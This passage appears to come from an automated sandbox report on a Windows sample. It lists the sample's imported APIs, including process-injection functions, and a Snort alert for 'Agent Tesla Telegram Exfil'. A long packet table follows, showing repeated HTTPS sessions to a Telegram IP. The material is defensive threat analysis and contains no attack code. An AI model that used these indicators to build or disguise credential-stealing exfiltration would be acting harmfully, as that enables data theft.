GetFileInformationByHandleEx, GetFileType, GetModuleFileNameW, GetOverlappedResult, GetSystemDirectoryW, LoadLibraryExW, ReadFile, SetFileInformationByHandle, SetThreadErrorMode, GetDynamicTimeZoneInformation, GetTimeZoneInformation, WriteFile, GetCurrentProcessorNumberEx, CloseHandle, SetEvent, CreateEventExW, GetEnvironmentVariableW, FormatMessageW, DuplicateHandle, GetThreadPriority, SetThreadPriority, GetConsoleMode, WriteConsoleW, GetExitCodeProcess, TerminateProcess, OpenProcess, K32EnumProcesses, GetProcessId, CreateProcessA, GetConsoleWindow, FreeConsole, AllocConsole, VirtualAllocEx, ResumeThread, CreateProcessW, GetThreadContext, SetThreadContext, FlushProcessWriteBuffers, GetCurrentThreadId, WaitForSingleObjectEx, VirtualQuery, RtlRestoreContext, AddVectoredExceptionHandler, FlsAlloc, FlsGetValue, FlsSetValue, CreateEventW, SwitchToThread, CreateThread, SuspendThread, FlushInstructionCache, VirtualAlloc, VirtualProtect, VirtualFree, QueryInformationJobObject, GetModuleHandleW, GetModuleHandleExW, GetProcessAffinityMask, InitializeContext, GetEnabledXStateFeatures, SetXStateFeaturesMask, InitializeCriticalSectionEx, GetSystemTimeAsFileTime, ResetEvent, DebugBreak, WaitForSingleObject, SleepEx, GlobalMemoryStatusEx, GetSystemInfo, GetLogicalProcessorInformation, GetLogicalProcessorInformationEx, GetLargePageMinimum, VirtualUnlock, VirtualAllocExNuma, IsProcessInJob, GetNumaHighestNodeNumber, GetProcessGroupAffinity, K32GetProcessMemoryInfo, RtlUnwindEx, IsProcessorFeaturePresent, SetUnhandledExceptionFilter, UnhandledExceptionFilter, IsDebuggerPresent, RtlVirtualUnwind, RtlLookupFunctionEntry, RtlCaptureContext, InitializeSListHead, GetCurrentProcessId
ole32.dll	CoUninitialize, CoTaskMemAlloc, CoGetApartmentType, CoCreateGuid, CoTaskMemFree, CoWaitForMultipleHandles, CoInitializeEx
USER32.dll	LoadStringW
api-ms-win-crt-math-l1-1-0.dll	pow, modf, ceil, __setusermatherr
api-ms-win-crt-heap-l1-1-0.dll	calloc, malloc, _callnewh, _set_new_mode, free
api-ms-win-crt-string-l1-1-0.dll	wcsncmp, strncpy_s, _stricmp, strcpy_s, strcmp, _wcsicmp
api-ms-win-crt-runtime-l1-1-0.dll	_c_exit, _register_thread_local_exe_atexit_callback, _get_initial_wide_environment, _cexit, __p___wargv, __p___argc, _exit, exit, _initterm_e, _initterm, terminate, _crt_atexit, _initialize_wide_environment, _configure_wide_argv, _register_onexit_function, _initialize_onexit_table, _set_app_type, _seh_filter_exe, abort
api-ms-win-crt-stdio-l1-1-0.dll	__stdio_common_vsprintf_s, __stdio_common_vsscanf, __stdio_common_vfprintf, __acrt_iob_func, _set_fmode, __p__commode
api-ms-win-crt-locale-l1-1-0.dll	_configthreadlocale

Exports

Name	Ordinal	Address
DotNetRuntimeDebugHeader	1	0x1401fb360

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
05/24/24-07:41:27.363485	TCP	2851779	ETPRO TROJAN Agent Tesla Telegram Exfil	49700	443	192.168.2.7	149.154.167.220

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 24, 2024 07:41:23.924833059 CEST	49699	443	192.168.2.7	104.26.13.205
May 24, 2024 07:41:23.924913883 CEST	443	49699	104.26.13.205	192.168.2.7
May 24, 2024 07:41:23.925071001 CEST	49699	443	192.168.2.7	104.26.13.205
May 24, 2024 07:41:23.934068918 CEST	49699	443	192.168.2.7	104.26.13.205
May 24, 2024 07:41:23.934109926 CEST	443	49699	104.26.13.205	192.168.2.7
May 24, 2024 07:41:24.427206993 CEST	443	49699	104.26.13.205	192.168.2.7
May 24, 2024 07:41:24.430510998 CEST	49699	443	192.168.2.7	104.26.13.205
May 24, 2024 07:41:24.433792114 CEST	49699	443	192.168.2.7	104.26.13.205
May 24, 2024 07:41:24.433804035 CEST	443	49699	104.26.13.205	192.168.2.7
May 24, 2024 07:41:24.434262991 CEST	443	49699	104.26.13.205	192.168.2.7
May 24, 2024 07:41:24.484770060 CEST	49699	443	192.168.2.7	104.26.13.205
May 24, 2024 07:41:24.550529003 CEST	49699	443	192.168.2.7	104.26.13.205
May 24, 2024 07:41:24.594496012 CEST	443	49699	104.26.13.205	192.168.2.7
May 24, 2024 07:41:24.727719069 CEST	443	49699	104.26.13.205	192.168.2.7
May 24, 2024 07:41:24.727797985 CEST	443	49699	104.26.13.205	192.168.2.7
May 24, 2024 07:41:24.727855921 CEST	49699	443	192.168.2.7	104.26.13.205
May 24, 2024 07:41:24.762111902 CEST	49699	443	192.168.2.7	104.26.13.205
May 24, 2024 07:41:26.351636887 CEST	49700	443	192.168.2.7	149.154.167.220
May 24, 2024 07:41:26.351670027 CEST	443	49700	149.154.167.220	192.168.2.7
May 24, 2024 07:41:26.351743937 CEST	49700	443	192.168.2.7	149.154.167.220
May 24, 2024 07:41:26.356568098 CEST	49700	443	192.168.2.7	149.154.167.220
May 24, 2024 07:41:26.356578112 CEST	443	49700	149.154.167.220	192.168.2.7
May 24, 2024 07:41:27.039228916 CEST	443	49700	149.154.167.220	192.168.2.7
May 24, 2024 07:41:27.039350033 CEST	49700	443	192.168.2.7	149.154.167.220
May 24, 2024 07:41:27.043437004 CEST	49700	443	192.168.2.7	149.154.167.220
May 24, 2024 07:41:27.043468952 CEST	443	49700	149.154.167.220	192.168.2.7
May 24, 2024 07:41:27.044286013 CEST	443	49700	149.154.167.220	192.168.2.7
May 24, 2024 07:41:27.045720100 CEST	49700	443	192.168.2.7	149.154.167.220
May 24, 2024 07:41:27.086507082 CEST	443	49700	149.154.167.220	192.168.2.7
May 24, 2024 07:41:27.363028049 CEST	443	49700	149.154.167.220	192.168.2.7
May 24, 2024 07:41:27.363426924 CEST	49700	443	192.168.2.7	149.154.167.220
May 24, 2024 07:41:27.363440037 CEST	443	49700	149.154.167.220	192.168.2.7
May 24, 2024 07:41:27.546787024 CEST	443	49700	149.154.167.220	192.168.2.7
May 24, 2024 07:41:27.554105043 CEST	443	49700	149.154.167.220	192.168.2.7
May 24, 2024 07:41:27.554193020 CEST	49700	443	192.168.2.7	149.154.167.220
May 24, 2024 07:41:27.561944962 CEST	49700	443	192.168.2.7	149.154.167.220
May 24, 2024 07:43:04.491204023 CEST	49707	443	192.168.2.7	149.154.167.220
May 24, 2024 07:43:04.491242886 CEST	443	49707	149.154.167.220	192.168.2.7
May 24, 2024 07:43:04.491478920 CEST	49707	443	192.168.2.7	149.154.167.220
May 24, 2024 07:43:04.491741896 CEST	49707	443	192.168.2.7	149.154.167.220
May 24, 2024 07:43:04.491755962 CEST	443	49707	149.154.167.220	192.168.2.7
May 24, 2024 07:43:05.140644073 CEST	443	49707	149.154.167.220	192.168.2.7
May 24, 2024 07:43:05.153351068 CEST	49707	443	192.168.2.7	149.154.167.220
May 24, 2024 07:43:05.153387070 CEST	443	49707	149.154.167.220	192.168.2.7
May 24, 2024 07:43:05.458123922 CEST	443	49707	149.154.167.220	192.168.2.7
May 24, 2024 07:43:05.463529110 CEST	49707	443	192.168.2.7	149.154.167.220
May 24, 2024 07:43:05.463572025 CEST	443	49707	149.154.167.220	192.168.2.7
May 24, 2024 07:43:05.463655949 CEST	49707	443	192.168.2.7	149.154.167.220
May 24, 2024 07:43:05.463674068 CEST	443	49707	149.154.167.220	192.168.2.7
May 24, 2024 07:43:05.463751078 CEST	49707	443	192.168.2.7	149.154.167.220
May 24, 2024 07:43:05.463850975 CEST	443	49707	149.154.167.220	192.168.2.7
May 24, 2024 07:43:05.824532986 CEST	443	49707	149.154.167.220	192.168.2.7
May 24, 2024 07:43:05.827380896 CEST	49707	443	192.168.2.7	149.154.167.220
May 24, 2024 07:43:05.827476978 CEST	443	49707	149.154.167.220	192.168.2.7
May 24, 2024 07:43:05.827528954 CEST	49707	443	192.168.2.7	149.154.167.220
May 24, 2024 07:43:19.526411057 CEST	49708	443	192.168.2.7	149.154.167.220
May 24, 2024 07:43:19.526478052 CEST	443	49708	149.154.167.220	192.168.2.7
May 24, 2024 07:43:19.526567936 CEST	49708	443	192.168.2.7	149.154.167.220
May 24, 2024 07:43:19.526850939 CEST	49708	443	192.168.2.7	149.154.167.220
May 24, 2024 07:43:19.526870012 CEST	443	49708	149.154.167.220	192.168.2.7
May 24, 2024 07:43:20.041618109 CEST	49709	443	192.168.2.7	149.154.167.220
May 24, 2024 07:43:20.041699886 CEST	443	49709	149.154.167.220	192.168.2.7
May 24, 2024 07:43:20.041804075 CEST	49709	443	192.168.2.7	149.154.167.220
May 24, 2024 07:43:20.042814970 CEST	49709	443	192.168.2.7	149.154.167.220
May 24, 2024 07:43:20.042853117 CEST	443	49709	149.154.167.220	192.168.2.7
May 24, 2024 07:43:20.048840046 CEST	49708	443	192.168.2.7	149.154.167.220
May 24, 2024 07:43:20.094533920 CEST	443	49708	149.154.167.220	192.168.2.7
May 24, 2024 07:43:20.166589975 CEST	443	49708	149.154.167.220	192.168.2.7
May 24, 2024 07:43:20.166743040 CEST	49708	443	192.168.2.7	149.154.167.220
May 24, 2024 07:43:20.166743040 CEST	49708	443	192.168.2.7	149.154.167.220
May 24, 2024 07:43:20.166769981 CEST	443	49708	149.154.167.220	192.168.2.7
May 24, 2024 07:43:20.174120903 CEST	49708	443	192.168.2.7	149.154.167.220
May 24, 2024 07:43:20.685791016 CEST	443	49709	149.154.167.220	192.168.2.7
May 24, 2024 07:43:20.685970068 CEST	49709	443	192.168.2.7	149.154.167.220
May 24, 2024 07:43:20.688739061 CEST	49709	443	192.168.2.7	149.154.167.220
May 24, 2024 07:43:20.688750982 CEST	443	49709	149.154.167.220	192.168.2.7
May 24, 2024 07:43:20.689094067 CEST	443	49709	149.154.167.220	192.168.2.7
May 24, 2024 07:43:20.690933943 CEST	49709	443	192.168.2.7	149.154.167.220
May 24, 2024 07:43:20.734499931 CEST	443	49709	149.154.167.220	192.168.2.7
May 24, 2024 07:43:21.006686926 CEST	443	49709	149.154.167.220	192.168.2.7
May 24, 2024 07:43:21.007097006 CEST	49709	443	192.168.2.7	149.154.167.220
May 24, 2024 07:43:21.007189035 CEST	443	49709	149.154.167.220	192.168.2.7
May 24, 2024 07:43:21.007317066 CEST	49709	443	192.168.2.7	149.154.167.220
May 24, 2024 07:43:21.007354975 CEST	443	49709	149.154.167.220	192.168.2.7
May 24, 2024 07:43:21.007469893 CEST	49709	443	192.168.2.7	149.154.167.220
May 24, 2024 07:43:21.007663012 CEST	443	49709	149.154.167.220	192.168.2.7
May 24, 2024 07:43:21.360924959 CEST	443	49709	149.154.167.220	192.168.2.7
May 24, 2024 07:43:21.361623049 CEST	49709	443	192.168.2.7	149.154.167.220
May 24, 2024 07:43:21.361717939 CEST	443	49709	149.154.167.220	192.168.2.7
May 24, 2024 07:43:21.361779928 CEST	49709	443	192.168.2.7	149.154.167.220
May 24, 2024 07:43:36.938378096 CEST	49710	443	192.168.2.7	149.154.167.220
May 24, 2024 07:43:36.938431025 CEST	443	49710	149.154.167.220	192.168.2.7
May 24, 2024 07:43:36.938508034 CEST	49710	443	192.168.2.7	149.154.167.220
May 24, 2024 07:43:36.938879967 CEST	49710	443	192.168.2.7	149.154.167.220
May 24, 2024 07:43:36.938899994 CEST	443	49710	149.154.167.220	192.168.2.7
May 24, 2024 07:43:37.569605112 CEST	443	49710	149.154.167.220	192.168.2.7
May 24, 2024 07:43:37.569741964 CEST	49710	443	192.168.2.7	149.154.167.220
May 24, 2024 07:43:37.571320057 CEST	49710	443	192.168.2.7	149.154.167.220
May 24, 2024 07:43:37.571330070 CEST	443	49710	149.154.167.220	192.168.2.7
May 24, 2024 07:43:37.572242975 CEST	443	49710	149.154.167.220	192.168.2.7
May 24, 2024 07:43:37.573816061 CEST	49710	443	192.168.2.7	149.154.167.220
May 24, 2024 07:43:37.618504047 CEST	443	49710	149.154.167.220	192.168.2.7
May 24, 2024 07:43:37.761184931 CEST	49710	443	192.168.2.7	149.154.167.220
May 24, 2024 07:43:37.761327028 CEST	443	49710	149.154.167.220	192.168.2.7
May 24, 2024 07:43:37.761413097 CEST	49710	443	192.168.2.7	149.154.167.220
May 24, 2024 07:43:37.761653900 CEST	49711	443	192.168.2.7	149.154.167.220
May 24, 2024 07:43:37.761689901 CEST	443	49711	149.154.167.220	192.168.2.7
May 24, 2024 07:43:37.761782885 CEST	49711	443	192.168.2.7	149.154.167.220
May 24, 2024 07:43:37.762123108 CEST	49711	443	192.168.2.7	149.154.167.220
May 24, 2024 07:43:37.762144089 CEST	443	49711	149.154.167.220	192.168.2.7
May 24, 2024 07:43:38.396276951 CEST	443	49711	149.154.167.220	192.168.2.7
May 24, 2024 07:43:38.396534920 CEST	49711	443	192.168.2.7	149.154.167.220
May 24, 2024 07:43:38.397692919 CEST	49711	443	192.168.2.7	149.154.167.220
May 24, 2024 07:43:38.397708893 CEST	443	49711	149.154.167.220	192.168.2.7
May 24, 2024 07:43:38.398382902 CEST	443	49711	149.154.167.220	192.168.2.7
May 24, 2024 07:43:38.399907112 CEST	49711	443	192.168.2.7	149.154.167.220
May 24, 2024 07:43:38.446510077 CEST	443	49711	149.154.167.220	192.168.2.7
May 24, 2024 07:43:38.669289112 CEST	49712	443	192.168.2.7	149.154.167.220
May 24, 2024 07:43:38.669332981 CEST	443	49712	149.154.167.220	192.168.2.7
May 24, 2024 07:43:38.669435978 CEST	49712	443	192.168.2.7	149.154.167.220
May 24, 2024 07:43:38.669733047 CEST	49712	443	192.168.2.7	149.154.167.220
May 24, 2024 07:43:38.669747114 CEST	443	49712	149.154.167.220	192.168.2.7
May 24, 2024 07:43:38.707951069 CEST	443	49711	149.154.167.220	192.168.2.7
May 24, 2024 07:43:38.708811045 CEST	49711	443	192.168.2.7	149.154.167.220
May 24, 2024 07:43:38.708904028 CEST	443	49711	149.154.167.220	192.168.2.7
May 24, 2024 07:43:38.709172964 CEST	49711	443	192.168.2.7	149.154.167.220
May 24, 2024 07:43:38.709208965 CEST	443	49711	149.154.167.220	192.168.2.7
May 24, 2024 07:43:38.709424019 CEST	49711	443	192.168.2.7	149.154.167.220
May 24, 2024 07:43:38.709456921 CEST	443	49711	149.154.167.220	192.168.2.7
May 24, 2024 07:43:39.067169905 CEST	443	49711	149.154.167.220	192.168.2.7
May 24, 2024 07:43:39.067949057 CEST	49711	443	192.168.2.7	149.154.167.220
May 24, 2024 07:43:39.068043947 CEST	443	49711	149.154.167.220	192.168.2.7
May 24, 2024 07:43:39.068100929 CEST	49711	443	192.168.2.7	149.154.167.220
May 24, 2024 07:43:39.299292088 CEST	443	49712	149.154.167.220	192.168.2.7
May 24, 2024 07:43:39.299370050 CEST	49712	443	192.168.2.7	149.154.167.220
May 24, 2024 07:43:39.301453114 CEST	49712	443	192.168.2.7	149.154.167.220
May 24, 2024 07:43:39.301465988 CEST	443	49712	149.154.167.220	192.168.2.7
May 24, 2024 07:43:39.302035093 CEST	443	49712	149.154.167.220	192.168.2.7
May 24, 2024 07:43:39.303654909 CEST	49712	443	192.168.2.7	149.154.167.220
May 24, 2024 07:43:39.350497961 CEST	443	49712	149.154.167.220	192.168.2.7
May 24, 2024 07:43:39.619796991 CEST	443	49712	149.154.167.220	192.168.2.7
May 24, 2024 07:43:39.620284081 CEST	49712	443	192.168.2.7	149.154.167.220
May 24, 2024 07:43:39.620313883 CEST	443	49712	149.154.167.220	192.168.2.7
May 24, 2024 07:43:39.620409012 CEST	49712	443	192.168.2.7	149.154.167.220
May 24, 2024 07:43:39.620426893 CEST	443	49712	149.154.167.220	192.168.2.7
May 24, 2024 07:43:39.620501041 CEST	49712	443	192.168.2.7	149.154.167.220
May 24, 2024 07:43:39.620558977 CEST	443	49712	149.154.167.220	192.168.2.7
May 24, 2024 07:43:39.976109982 CEST	443	49712	149.154.167.220	192.168.2.7
May 24, 2024 07:43:39.976650000 CEST	49712	443	192.168.2.7	149.154.167.220
May 24, 2024 07:43:39.976737022 CEST	443	49712	149.154.167.220	192.168.2.7
May 24, 2024 07:43:39.976804018 CEST	49712	443	192.168.2.7	149.154.167.220
May 24, 2024 07:43:41.667437077 CEST	49713	443	192.168.2.7	149.154.167.220
May 24, 2024 07:43:41.667488098 CEST	443	49713	149.154.167.220	192.168.2.7
May 24, 2024 07:43:41.667761087 CEST	49713	443	192.168.2.7	149.154.167.220
May 24, 2024 07:43:41.667879105 CEST	49713	443	192.168.2.7	149.154.167.220
May 24, 2024 07:43:41.667892933 CEST	443	49713	149.154.167.220	192.168.2.7
May 24, 2024 07:43:42.294385910 CEST	443	49713	149.154.167.220	192.168.2.7
May 24, 2024 07:43:42.294502974 CEST	49713	443	192.168.2.7	149.154.167.220
May 24, 2024 07:43:42.297269106 CEST	49713	443	192.168.2.7	149.154.167.220
May 24, 2024 07:43:42.297277927 CEST	443	49713	149.154.167.220	192.168.2.7
May 24, 2024 07:43:42.297755957 CEST	443	49713	149.154.167.220	192.168.2.7
May 24, 2024 07:43:42.302982092 CEST	49713	443	192.168.2.7	149.154.167.220
May 24, 2024 07:43:42.346498966 CEST	443	49713	149.154.167.220	192.168.2.7
May 24, 2024 07:43:42.656953096 CEST	49713	443	192.168.2.7	149.154.167.220
May 24, 2024 07:43:42.656997919 CEST	443	49713	149.154.167.220	192.168.2.7
May 24, 2024 07:43:42.657964945 CEST	49713	443	192.168.2.7	149.154.167.220
May 24, 2024 07:43:42.657994986 CEST	443	49713	149.154.167.220	192.168.2.7
May 24, 2024 07:43:42.658117056 CEST	49713	443	192.168.2.7	149.154.167.220
May 24, 2024 07:43:42.658178091 CEST	443	49713	149.154.167.220	192.168.2.7
May 24, 2024 07:43:42.662657022 CEST	443	49713	149.154.167.220	192.168.2.7
May 24, 2024 07:43:42.828588963 CEST	49713	443	192.168.2.7	149.154.167.220
May 24, 2024 07:43:43.008322001 CEST	443	49713	149.154.167.220	192.168.2.7
May 24, 2024 07:43:43.008865118 CEST	49713	443	192.168.2.7	149.154.167.220
May 24, 2024 07:43:43.008914948 CEST	443	49713	149.154.167.220	192.168.2.7
May 24, 2024 07:43:43.009124994 CEST	49713	443	192.168.2.7	149.154.167.220
May 24, 2024 07:43:43.009130001 CEST	443	49713	149.154.167.220	192.168.2.7
May 24, 2024 07:43:43.009192944 CEST	49713	443	192.168.2.7	149.154.167.220
May 24, 2024 07:43:56.914937973 CEST	49714	443	192.168.2.7	149.154.167.220
May 24, 2024 07:43:56.914963961 CEST	443	49714	149.154.167.220	192.168.2.7
May 24, 2024 07:43:56.915044069 CEST	49714	443	192.168.2.7	149.154.167.220
May 24, 2024 07:43:56.915550947 CEST	49714	443	192.168.2.7	149.154.167.220
May 24, 2024 07:43:56.915561914 CEST	443	49714	149.154.167.220	192.168.2.7
May 24, 2024 07:43:57.603106976 CEST	443	49714	149.154.167.220	192.168.2.7
May 24, 2024 07:43:57.603250980 CEST	49714	443	192.168.2.7	149.154.167.220
May 24, 2024 07:43:57.608870029 CEST	49714	443	192.168.2.7	149.154.167.220
May 24, 2024 07:43:57.608884096 CEST	443	49714	149.154.167.220	192.168.2.7
May 24, 2024 07:43:57.609103918 CEST	443	49714	149.154.167.220	192.168.2.7
May 24, 2024 07:43:57.612811089 CEST	49714	443	192.168.2.7	149.154.167.220
May 24, 2024 07:43:57.654504061 CEST	443	49714	149.154.167.220	192.168.2.7
May 24, 2024 07:43:57.955852985 CEST	443	49714	149.154.167.220	192.168.2.7
May 24, 2024 07:43:57.956625938 CEST	49714	443	192.168.2.7	149.154.167.220
May 24, 2024 07:43:57.956650019 CEST	443	49714	149.154.167.220	192.168.2.7
May 24, 2024 07:43:57.956756115 CEST	49714	443	192.168.2.7	149.154.167.220
May 24, 2024 07:43:57.956772089 CEST	443	49714	149.154.167.220	192.168.2.7
May 24, 2024 07:43:57.956847906 CEST	49714	443	192.168.2.7	149.154.167.220
May 24, 2024 07:43:57.956882954 CEST	443	49714	149.154.167.220	192.168.2.7
May 24, 2024 07:43:58.322957039 CEST	443	49714	149.154.167.220	192.168.2.7
May 24, 2024 07:43:58.323627949 CEST	49714	443	192.168.2.7	149.154.167.220
May 24, 2024 07:43:58.323668003 CEST	443	49714	149.154.167.220	192.168.2.7
May 24, 2024 07:43:58.323726892 CEST	49714	443	192.168.2.7	149.154.167.220
May 24, 2024 07:43:58.768740892 CEST	49715	443	192.168.2.7	149.154.167.220
May 24, 2024 07:43:58.768779993 CEST	443	49715	149.154.167.220	192.168.2.7
May 24, 2024 07:43:58.768862963 CEST	49715	443	192.168.2.7	149.154.167.220
May 24, 2024 07:43:58.769334078 CEST	49715	443	192.168.2.7	149.154.167.220
May 24, 2024 07:43:58.769345045 CEST	443	49715	149.154.167.220	192.168.2.7
May 24, 2024 07:43:59.491647959 CEST	443	49715	149.154.167.220	192.168.2.7
May 24, 2024 07:43:59.491899014 CEST	49715	443	192.168.2.7	149.154.167.220
May 24, 2024 07:43:59.493669033 CEST	49715	443	192.168.2.7	149.154.167.220
May 24, 2024 07:43:59.493684053 CEST	443	49715	149.154.167.220	192.168.2.7
May 24, 2024 07:43:59.494458914 CEST	443	49715	149.154.167.220	192.168.2.7
May 24, 2024 07:43:59.498790979 CEST	49715	443	192.168.2.7	149.154.167.220
May 24, 2024 07:43:59.546495914 CEST	443	49715	149.154.167.220	192.168.2.7
May 24, 2024 07:43:59.844440937 CEST	49715	443	192.168.2.7	149.154.167.220
May 24, 2024 07:43:59.844475031 CEST	443	49715	149.154.167.220	192.168.2.7
May 24, 2024 07:43:59.844605923 CEST	49715	443	192.168.2.7	149.154.167.220
May 24, 2024 07:43:59.844615936 CEST	443	49715	149.154.167.220	192.168.2.7
May 24, 2024 07:43:59.844719887 CEST	49715	443	192.168.2.7	149.154.167.220
May 24, 2024 07:43:59.844727993 CEST	443	49715	149.154.167.220	192.168.2.7
May 24, 2024 07:44:00.004981995 CEST	443	49715	149.154.167.220	192.168.2.7
May 24, 2024 07:44:00.047462940 CEST	49715	443	192.168.2.7	149.154.167.220
May 24, 2024 07:44:00.340517998 CEST	443	49715	149.154.167.220	192.168.2.7
May 24, 2024 07:44:00.341236115 CEST	49715	443	192.168.2.7	149.154.167.220
May 24, 2024 07:44:00.341291904 CEST	443	49715	149.154.167.220	192.168.2.7
May 24, 2024 07:44:00.341348886 CEST	49715	443	192.168.2.7	149.154.167.220
May 24, 2024 07:44:05.862195015 CEST	49716	443	192.168.2.7	149.154.167.220
May 24, 2024 07:44:05.862260103 CEST	443	49716	149.154.167.220	192.168.2.7
May 24, 2024 07:44:05.862400055 CEST	49716	443	192.168.2.7	149.154.167.220
May 24, 2024 07:44:05.863032103 CEST	49716	443	192.168.2.7	149.154.167.220
May 24, 2024 07:44:05.863051891 CEST	443	49716	149.154.167.220	192.168.2.7
May 24, 2024 07:44:06.492007971 CEST	443	49716	149.154.167.220	192.168.2.7
May 24, 2024 07:44:06.492077112 CEST	49716	443	192.168.2.7	149.154.167.220
May 24, 2024 07:44:06.494292021 CEST	49716	443	192.168.2.7	149.154.167.220
May 24, 2024 07:44:06.494298935 CEST	443	49716	149.154.167.220	192.168.2.7
May 24, 2024 07:44:06.494534969 CEST	443	49716	149.154.167.220	192.168.2.7
May 24, 2024 07:44:06.496836901 CEST	49716	443	192.168.2.7	149.154.167.220
May 24, 2024 07:44:06.542500019 CEST	443	49716	149.154.167.220	192.168.2.7
May 24, 2024 07:44:06.834712029 CEST	443	49716	149.154.167.220	192.168.2.7
May 24, 2024 07:44:06.835235119 CEST	49716	443	192.168.2.7	149.154.167.220
May 24, 2024 07:44:06.835258961 CEST	443	49716	149.154.167.220	192.168.2.7
May 24, 2024 07:44:06.835335016 CEST	49716	443	192.168.2.7	149.154.167.220
May 24, 2024 07:44:06.835361004 CEST	443	49716	149.154.167.220	192.168.2.7
May 24, 2024 07:44:06.835447073 CEST	49716	443	192.168.2.7	149.154.167.220
May 24, 2024 07:44:06.835473061 CEST	443	49716	149.154.167.220	192.168.2.7
May 24, 2024 07:44:07.187962055 CEST	443	49716	149.154.167.220	192.168.2.7
May 24, 2024 07:44:07.188036919 CEST	443	49716	149.154.167.220	192.168.2.7
May 24, 2024 07:44:07.189258099 CEST	49716	443	192.168.2.7	149.154.167.220
May 24, 2024 07:44:07.193382025 CEST	49716	443	192.168.2.7	149.154.167.220
May 24, 2024 07:44:09.302792072 CEST	49717	443	192.168.2.7	149.154.167.220
May 24, 2024 07:44:09.302818060 CEST	443	49717	149.154.167.220	192.168.2.7
May 24, 2024 07:44:09.308753967 CEST	49717	443	192.168.2.7	149.154.167.220
May 24, 2024 07:44:09.310936928 CEST	49717	443	192.168.2.7	149.154.167.220
May 24, 2024 07:44:09.310946941 CEST	443	49717	149.154.167.220	192.168.2.7
May 24, 2024 07:44:09.943202972 CEST	443	49717	149.154.167.220	192.168.2.7
May 24, 2024 07:44:09.945810080 CEST	49717	443	192.168.2.7	149.154.167.220
May 24, 2024 07:44:09.945818901 CEST	443	49717	149.154.167.220	192.168.2.7
May 24, 2024 07:44:10.263638973 CEST	443	49717	149.154.167.220	192.168.2.7
May 24, 2024 07:44:10.264029980 CEST	49717	443	192.168.2.7	149.154.167.220
May 24, 2024 07:44:10.264065027 CEST	443	49717	149.154.167.220	192.168.2.7
May 24, 2024 07:44:10.264137983 CEST	49717	443	192.168.2.7	149.154.167.220
May 24, 2024 07:44:10.264158964 CEST	443	49717	149.154.167.220	192.168.2.7
May 24, 2024 07:44:10.264225960 CEST	49717	443	192.168.2.7	149.154.167.220
May 24, 2024 07:44:10.264283895 CEST	443	49717	149.154.167.220	192.168.2.7
May 24, 2024 07:44:10.630841017 CEST	443	49717	149.154.167.220	192.168.2.7
May 24, 2024 07:44:10.630930901 CEST	443	49717	149.154.167.220	192.168.2.7
May 24, 2024 07:44:10.630980968 CEST	49717	443	192.168.2.7	149.154.167.220
May 24, 2024 07:44:10.631525993 CEST	49717	443	192.168.2.7	149.154.167.220
May 24, 2024 07:44:14.439094067 CEST	49718	443	192.168.2.7	149.154.167.220
May 24, 2024 07:44:14.439125061 CEST	443	49718	149.154.167.220	192.168.2.7
May 24, 2024 07:44:14.439188004 CEST	49718	443	192.168.2.7	149.154.167.220
May 24, 2024 07:44:14.439553976 CEST	49718	443	192.168.2.7	149.154.167.220
May 24, 2024 07:44:14.439565897 CEST	443	49718	149.154.167.220	192.168.2.7
May 24, 2024 07:44:15.085608959 CEST	443	49718	149.154.167.220	192.168.2.7
May 24, 2024 07:44:15.094504118 CEST	49718	443	192.168.2.7	149.154.167.220
May 24, 2024 07:44:15.094517946 CEST	443	49718	149.154.167.220	192.168.2.7
May 24, 2024 07:44:15.438172102 CEST	49718	443	192.168.2.7	149.154.167.220
May 24, 2024 07:44:15.438200951 CEST	443	49718	149.154.167.220	192.168.2.7
May 24, 2024 07:44:15.438941002 CEST	49718	443	192.168.2.7	149.154.167.220
May 24, 2024 07:44:15.438960075 CEST	443	49718	149.154.167.220	192.168.2.7
May 24, 2024 07:44:15.439116001 CEST	49718	443	192.168.2.7	149.154.167.220
May 24, 2024 07:44:15.439129114 CEST	443	49718	149.154.167.220	192.168.2.7
May 24, 2024 07:44:15.440087080 CEST	443	49718	149.154.167.220	192.168.2.7
May 24, 2024 07:44:15.625566006 CEST	49718	443	192.168.2.7	149.154.167.220
May 24, 2024 07:44:15.802764893 CEST	443	49718	149.154.167.220	192.168.2.7
May 24, 2024 07:44:15.804842949 CEST	49718	443	192.168.2.7	149.154.167.220
May 24, 2024 07:44:15.804935932 CEST	443	49718	149.154.167.220	192.168.2.7
May 24, 2024 07:44:15.805001974 CEST	49718	443	192.168.2.7	149.154.167.220
May 24, 2024 07:44:23.453295946 CEST	49719	443	192.168.2.7	149.154.167.220
May 24, 2024 07:44:23.453344107 CEST	443	49719	149.154.167.220	192.168.2.7
May 24, 2024 07:44:23.454018116 CEST	49719	443	192.168.2.7	149.154.167.220
May 24, 2024 07:44:23.457222939 CEST	49719	443	192.168.2.7	149.154.167.220
May 24, 2024 07:44:23.457236052 CEST	443	49719	149.154.167.220	192.168.2.7
May 24, 2024 07:44:24.095577955 CEST	443	49719	149.154.167.220	192.168.2.7
May 24, 2024 07:44:24.102500916 CEST	443	49719	149.154.167.220	192.168.2.7
May 24, 2024 07:44:24.102529049 CEST	49719	443	192.168.2.7	149.154.167.220
May 24, 2024 07:44:24.106790066 CEST	49719	443	192.168.2.7	149.154.167.220
May 24, 2024 07:44:24.149194002 CEST	49719	443	192.168.2.7	149.154.167.220
May 24, 2024 07:44:24.149204016 CEST	443	49719	149.154.167.220	192.168.2.7
May 24, 2024 07:44:24.149640083 CEST	443	49719	149.154.167.220	192.168.2.7
May 24, 2024 07:44:24.153261900 CEST	49719	443	192.168.2.7	149.154.167.220
May 24, 2024 07:44:24.198492050 CEST	443	49719	149.154.167.220	192.168.2.7
May 24, 2024 07:44:24.399887085 CEST	443	49719	149.154.167.220	192.168.2.7
May 24, 2024 07:44:24.400443077 CEST	49719	443	192.168.2.7	149.154.167.220
May 24, 2024 07:44:24.400465012 CEST	443	49719	149.154.167.220	192.168.2.7
May 24, 2024 07:44:24.400542021 CEST	49719	443	192.168.2.7	149.154.167.220
May 24, 2024 07:44:24.400557041 CEST	443	49719	149.154.167.220	192.168.2.7
May 24, 2024 07:44:24.400624037 CEST	49719	443	192.168.2.7	149.154.167.220
May 24, 2024 07:44:24.400697947 CEST	443	49719	149.154.167.220	192.168.2.7
May 24, 2024 07:44:24.400950909 CEST	49719	443	192.168.2.7	149.154.167.220
May 24, 2024 07:44:24.400954962 CEST	443	49719	149.154.167.220	192.168.2.7
May 24, 2024 07:44:24.754462957 CEST	443	49719	149.154.167.220	192.168.2.7
